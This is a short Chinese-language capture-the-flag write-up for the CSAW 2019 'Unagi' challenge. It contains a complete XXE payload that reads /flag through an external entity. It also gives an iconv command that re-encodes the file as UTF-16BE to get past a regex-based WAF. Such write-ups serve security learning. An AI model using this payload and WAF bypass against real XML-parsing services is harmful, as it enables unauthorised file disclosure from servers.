[CSAWQual 2019]Unagi
在上传页面提示需要上传XML文件,大概率是XXE,并且在About页面提示flag在/flag中。
尝试上传XML文件尝试XXE任意读取:
<?xml version='1.0'?>
<!DOCTYPE users [ <!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&xxe;</intro>
</user>
</users>
返回WAF blocked。
编码绕过
查了如何绕过WAF保护的XXE的资料:
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
于是可以使用命令:
iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
上传后即可。